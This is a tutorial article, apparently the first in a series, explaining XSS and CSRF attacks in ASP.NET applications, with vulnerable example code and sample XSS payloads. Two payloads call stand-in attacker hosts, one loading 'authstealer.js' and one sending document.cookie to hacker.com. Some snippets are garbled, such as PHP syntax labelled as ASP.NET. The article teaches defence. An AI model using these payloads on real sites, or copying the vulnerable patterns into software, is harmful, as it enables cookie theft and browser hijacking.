Set of Guidelines, Tools to Prevent XSS and CSRF Attacks in ASP.NET Web Applications - Part 1

Introduction

Secure application design has an important role in software design and developments. There are different kinds of software systems that are available today. Some examples are Web Applications, Desktop Applications, Mobile Applications and Home Automation Systems.

Secure design of software is very important for any kind of application. In addition, due to advancement of network and internet technologies, most of the current software systems are open to the internet. So chances of illegal use of software systems increase. There are different principals and technologies that are available for secure software design and practice.

Cross-site scripting is a major issue nowadays in website security. OWASP project lists over 80 vectors that can be targeted using cross site scripting attacks. In addition, cross site scripting attack is on the list of top ten web vulnerabilities of OWASP project (OWASP).

Cross-site scripting was initially abbreviated as CSS, but in order to differ from cascading style sheet (CSS), it was renamed XSS in the security field. Cross-site scripting attacks normally describe as hackers tampering with the web page through HTML injection and inserting malicious scripts to control the user’s web browser when the user browses the web.

Cross site request forgery (CSRF) is another type of attack and it is also a major threat nowadays for website security. CSRF uses, users trust of a website to execute unauthorized request over the website.

ASP.NET is a web application development framework provided by Microsoft. It is a part of Microsoft .NET framework. ASP.NET has some built in features which developers can enable by changing configuration settings to prevent XSS and CSRF attacks. In addition to those built-in features, there are some other level of controls we can implement by programming.

There are two main methods we can use to prevent XSS attacks in web applications. The first one is validating user input and the second is encoding HTML output. ASP.NET facilitates several methods to validate user inputs. ASP.NET has different ways to encode HTML output before sending it to the client browser.

The latest version of ASP.NET provides a built in feature to prevent CSRF attacks in web applications. In addition to that feature, ASP.NET facilitates implementing other methods to prevent CSRF attacks by using programming.

Background

Cross site scripting attacks are one of the most dangerous threats in web applications. The Open Web Application Security Project (OWASP) TOP 10 repeatedly puts XSS at the top of its list. Cross site scripting is originally abbreviated as CSS. But in order to differ from cascaded style sheets, cross site scripting was renamed as XSS in security filed.

Cross site scripting attacks are usefully referred to as hackers injecting scripts code segments to users browser and trying to take control over users web browser.

What is XSS – a simple example code?

Consider the below ASP.NET server side code.

//Capture parameter comes as a query string parameter
$input =  Request.QueryString(["userinput"]);

//Display captured parameter in browser.
Response.Write( "<Div>".$input ."<Div>");

Basically, the above ASP.NET script code uses to display query string data parameter (userinput) directly in web browser. We can use something similar below to pass query string parameter to the above page.

http://testpage.php?userinput=Hello World  //pass  "Hello World" as query string parameter 

Then, we can see a website output as below:

"Hello World"

Instead of sending the above string parameter for userinput query string variable, we can send a JavaScript code to execute in user’s browser.

http:://testpage.php?userinput=<script>alert(/xss/)</script>

If we directly display the query string parameter to web browser, the script code will execute in user browser and display message “xss”.

Basically, we can see a way to execute malicious script in users browser. This script is to display a message. But using more advanced scripts code, we can control users browser behavior without user intention. This vulnerability is known as cross-site scripting attacks (XSS).

What makes XSS dangerous is the damage that can be done by a script executing in the browser and performing tasks listed like below without users' consent.

1. Cookie theft from client browser
2. Redirection to malicious website
3. Defacing sites
4. Browser appropriation
5. Keystroke recording
6. Launching further attacks against others
7. Accessing the local file system

In information security field, there are 3 kinds of cross site scripting attacks that can be identified. Those attacks are as below:

1. Reflected XSS attacks
2. Stored XSS attacks
3. DOM-Based XSS

Reflected XSS Attacks

Reflected XSS attacks are known as non-persistence XSS attack which occur by reflecting a malicious script from web server to victims web browser.

The malicious scripts will be activated using a hyperlink and the hyperlink will initiate a request to web server with a vulnerability to execute malicious script. The vulnerability is normally a result of incoming requests not sufficiently sanitized, and this will lead to the manipulation of a web application’s functions and the activation of malicious scripts.

Normally, distribution of the link occurs by embedding the link in emails or other third party websites. The link will be added to inside anchor text and text will be put in such a way that users encourage to click. Social media websites are mainly used by attackers to craft these kind of links. These kinds of attacks are very common in information security field and easily prevented by taking proper action.

Stored XSS Attacks

In these kind of XSS attacks, the attacker tries to store a malicious script code in the victim website’s server file system or in a database. In order to do that, first attacker needs to locate a vulnerability in a web application and then inject scripting code which will be stored on the server. This type of attack stores malicious scripts on victims' web server. The attack is known as stored XSS attack. When comparing with other kinds of XSS attacks, stability of these kinds of attacks are high. Because the attacker tries to store the malicious script in the web server file system or in a database. If the attack is successful, stored XSS script will execute each time when the user accesses the website.

The main reason of these kinds of attacks are storing user supplied data without any input validations and displaying stored data back in browser without using proper encoding techniques.

DOM-Based XSS

DOM based XSS attacks affect the browser DOM and it executes clients side scripts (such as JavaScript) manipulating browsers document object model. XSS payload exits at client browser and we cannot observe XSS payload in either web Response and Requests.

After malicious scripts execute in clients browser, the attacker can exploit DOM based XSS vulnerability and steal cookies and change web page behavior.

DOM based XSS attacks cannot stop using server side XSS filters.

Using the Code

See the below URL which passes query string parameter “p” to the web request.

(To web page URL http://mytestpage.aspx)

http://mytestpage.aspx?p=param

The above link can be placed inside a hyperlink of a web page content. Attacker can replace parameter “param” with malicious JavaScript code as below:

http://mytestpage.aspx?p=<script type="text/javascript">alert('XSS'); </script>  

In more advanced attacks, we can refer to the JavaScript coding library as shown below. In the below case, malicious script code refers to a JavaScript code library located at a different site.

http://mytestpage.aspx?p=<script> src="http://othersite.com/authstealer.js </script>"  

In the above case, victims browser will load JavaScript code “authstealer.js” where it is located in “othersite.com” and executed in victims Web browser.

Main reason for these kinds of attacks is constructing web page contents directly from user input data. For an example, there are some sites user can post questions to, feedback, articles, etc. Hackers can obtain advantages from those kinds of sites and input malicious scripts codes and unsafe HTML tags as part of user input. If the website directly displays those user input data back on user browser without any validations or data encoding, the malicious scripts code can execute on user browser and control browser’s behavior without user consent.

The below JavaScript code displays a query string parameter, using DOM object model.

The below code does not execute on the server side and completely executes in client side by modifying browser output.

<html>

<head>

</head>

<body>

<script> var pos=document.URL.indexOf("input=")+6; //capture current URL

var userInput=document.URL.substring(pos,document.URL.length); //Capture query string param

document.write(unescape(userInput)); //Display on the website
</script>

</body>

</html>

An attacker can request the above page like below code by injecting a JavaScript code.

http://mytestsite.com/testpage.aspx?input =<script>alert("DOM Modified")</script>

As our example code directly displays query string in browser, that will make execute of malicious JavaScript code embed as part of a query string data.

Any HTML attribute that can contain JavaScript code can be the vehicle for an XSS attack.

Examples:

 <body onload=alert (‘attack’)>  (or any other event)
 <img src="javascript:alert(‘attack’)>
 <META HTTP-EQUIV="refresh" CONTENT="0;   url=data:tex/html;

 <script>alert(‘attack’) < /script>

<img src="javascript:alert(‘XSS’);">
–<a href="javascript: alert(‘XSS’);">Click here to win</A>

<input type="button" value="submit"
onclick="parent.location.reload (‘http://hacker.com? c’=encodeURI(document.cookie));">

Points of Interest

Both web applications developers and end users can take the below precautions to minimize or migrate XSS attacks.

1. When developing websites, validate web requests and response.
2. Users need to be aware when clicking links in social media sites and website common pages.
3. Manage email from unknown users with care.
4. Use signature based security rules in web application firewalls.

In my next articles, I will present more details of this topic.